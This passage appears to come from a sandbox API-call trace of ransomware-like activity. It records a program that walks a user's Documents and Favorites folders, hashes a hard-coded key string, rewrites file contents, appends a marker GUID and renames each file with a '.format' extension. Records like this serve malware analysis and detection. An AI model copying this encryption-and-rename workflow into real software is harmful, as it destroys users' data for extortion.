[0067.591] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\pty5yFAIeFtI0nYC_b.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\pty5yfaiefti0nyc_b.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\pty5yFAIeFtI0nYC_b.odp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\pty5yfaiefti0nyc_b.odp.format")) returned 1 [0067.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.592] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.593] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d896410, ftCreationTime.dwHighDateTime=0x1d4d3bd, ftLastAccessTime.dwLowDateTime=0x3162a890, ftLastAccessTime.dwHighDateTime=0x1d4cfb0, ftLastWriteTime.dwLowDateTime=0x3162a890, ftLastWriteTime.dwHighDateTime=0x1d4cfb0, nFileSizeHigh=0x0, nFileSizeLow=0xecad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tHX0zgZ7OA49IM.xlsx", cAlternateFileName="THX0ZG~1.XLS")) returned 1 [0067.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.593] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\tHX0zgZ7OA49IM.xlsx") returned=".xlsx" [0067.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\tHX0zgZ7OA49IM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\thx0zgz7oa49im.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.593] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=60589) returned 1 [0067.593] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.596] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xec87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.596] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.596] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.597] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.597] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.597] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xecad, lpOverlapped=0x0) returned 1 [0067.597] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.597] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.597] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.597] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.597] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.598] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.598] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.598] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.598] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.598] GetLastError () returned 0x0 [0067.598] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.598] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.598] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.598] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xecb0) returned 0x32b2f40 [0067.598] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.599] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xeca8, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xeca8, lpOverlapped=0x0) returned 1 [0067.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.599] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xecad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.599] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.599] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.599] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.599] CloseHandle (hObject=0x5c8) returned 1 [0067.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0067.600] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\tHX0zgZ7OA49IM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\thx0zgz7oa49im.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\tHX0zgZ7OA49IM.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\thx0zgz7oa49im.xlsx.format")) returned 1 [0067.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.601] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.602] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca2c5060, ftCreationTime.dwHighDateTime=0x1d4c706, ftLastAccessTime.dwLowDateTime=0xcf0fdc40, ftLastAccessTime.dwHighDateTime=0x1d4d4d6, ftLastWriteTime.dwLowDateTime=0xcf0fdc40, ftLastWriteTime.dwHighDateTime=0x1d4d4d6, nFileSizeHigh=0x0, nFileSizeLow=0xda9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x6ElzgARF.doc", cAlternateFileName="X6ELZG~1.DOC")) returned 1 [0067.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0067.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.602] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\x6ElzgARF.doc") returned=".doc" [0067.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\x6ElzgARF.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\x6elzgarf.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.602] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=55966) returned 1 [0067.602] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.605] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xda78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.605] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.606] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.606] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xda9e, lpOverlapped=0x0) returned 1 [0067.606] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.606] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.606] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.606] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.606] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.607] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.607] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.607] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.607] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.607] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.607] GetLastError () returned 0x0 [0067.607] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.607] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.607] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.608] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xda9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.608] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.608] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.608] CloseHandle (hObject=0x5c8) returned 1 [0067.609] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\x6ElzgARF.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\x6elzgarf.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\x6ElzgARF.doc.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\x6elzgarf.doc.format")) returned 1 [0067.609] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.609] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.610] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe095030, ftCreationTime.dwHighDateTime=0x1d4c913, ftLastAccessTime.dwLowDateTime=0x473abdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6fb, ftLastWriteTime.dwLowDateTime=0x473abdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZHL2s_-N8agn", cAlternateFileName="ZHL2S_~1")) returned 1 [0067.610] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe095030, ftCreationTime.dwHighDateTime=0x1d4c913, ftLastAccessTime.dwLowDateTime=0x473abdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6fb, ftLastWriteTime.dwLowDateTime=0x473abdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZHL2s_-N8agn", cAlternateFileName="ZHL2S_~1")) returned 0 [0067.610] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.611] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.611] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.611] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0067.611] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0067.611] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.611] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.611] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.611] PathFindFileNameW (pszPath="") returned="" [0067.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.611] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.611] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.611] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0067.611] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0067.611] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0067.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.612] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=236) returned 1 [0067.612] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.615] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.615] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.616] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xec, lpOverlapped=0x0) returned 1 [0067.616] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.616] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.616] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.616] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.616] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.616] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.616] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.616] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.617] GetLastError () returned 0x0 [0067.617] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.617] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.617] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.617] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.617] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.617] CloseHandle (hObject=0x5c8) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0067.618] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.618] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.format")) returned 1 [0067.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.618] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.619] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.619] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0067.619] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.619] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.619] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0067.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.620] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=226) returned 1 [0067.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.622] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.622] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.623] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.623] HeapFree (in: hHeap=0x5d0000, 